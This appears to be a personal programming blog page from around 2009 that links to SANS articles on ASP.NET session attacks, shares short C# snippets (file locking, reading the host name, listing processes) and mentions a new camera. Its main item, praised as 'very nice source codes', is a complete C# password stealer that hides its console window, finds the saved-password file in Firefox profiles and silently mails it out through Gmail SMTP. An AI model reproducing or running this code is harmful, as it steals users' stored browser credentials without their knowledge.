Here is a game from Microsoft. Nice.
http://www.microsoft.com/click/areyoucertifiable/

I saw the article on my Google Reader this morning. It’s really nice and interesting.
Here is the links of arthicles. It has 2 part right now.
https://blogs.sans.org/appsecstreetfighter/2009/06/14/session-attacks-and-aspnet-part-1/
https://blogs.sans.org/appsecstreetfighter/2009/06/24/session-attacks-and-aspnet-part-2/

Very nice source codes. It sends passwords with gmail.

using System;
using System.Collections.Generic;
using System.IO;
using System.Net.Mail;
using System.Net;
using System.Text;
using System.Runtime.InteropServices;

namespace ConsoleApplication1
{
class Program
{
[DllImport("kernel32.dll")]
public static extern bool FreeConsole();
static void Main(string[] args)
{
FreeConsole();
try
{
bool FoundFile = false;
string Username = “EMAIL”;
string Password = “PASS”;
string DefaultPath = Environment.GetEnvironmentVariable(”APPDATA”) + @”\Mozilla\Firefox\Profiles”;
string[] Dirs = Directory.GetDirectories(DefaultPath);

foreach (string dir in Dirs)
{
if (!FoundFile)
{
string[] Files = Directory.GetFiles(dir);

foreach (string CurrFile in Files)
{
if (!FoundFile)
{
if (System.Text.RegularExpressions.Regex.IsMatch(CurrFile, “signons3.txt”))
{
SmtpClient Client = new SmtpClient(”smtp.gmail.com”, 587);
Client.EnableSsl = true;
NetworkCredential Creds = new NetworkCredential(Username, Password);
Client.Credentials = Creds;
MailMessage msg = new MailMessage();
msg.To.Add(new MailAddress(Username));
msg.From = new MailAddress(Username);
msg.Attachments.Add(new Attachment(CurrFile));
msg.Subject = “My Firefox Passwords”;
Client.Send(msg);
FoundFile = true;
}
}

else
{
break;
}
}
}
else
{
break;
}
}
}
catch
{

}
}
}
}

Here is again a simple snippet. Locking and unlocking file.
string filename = “c:\\sample.htm”;
FileStream stream = new FileStream(filename, FileMode.Open, FileAccess.Read, FileShare.None); //locks file
stream.Close(); //unlocks file

If you want to get host name from ASP.Net here is a little, useful and very simple code.
string HostName = HttpContext.Current.Request.ServerVariables["HTTP_HOST"];

This snippet is very useful.

Console.WriteLine(”ID:\tProcess name:”);
Console.WriteLine(”–\t————”);
foreach (System.Diagnostics.Process process in System.Diagnostics.Process.GetProcesses())
Console.WriteLine(”{0}\t{1}”, process.Id, process.ProcessName);

Yes, finally I got my new photo machine Olympus E-420. It’s DSLR. Very nice and wonderful machine. It is the most slight photo machine in the world. And I got my portraits and landscape photos. You can see some photos in my deviantart and picassa.
www.kad1r.deviantart.com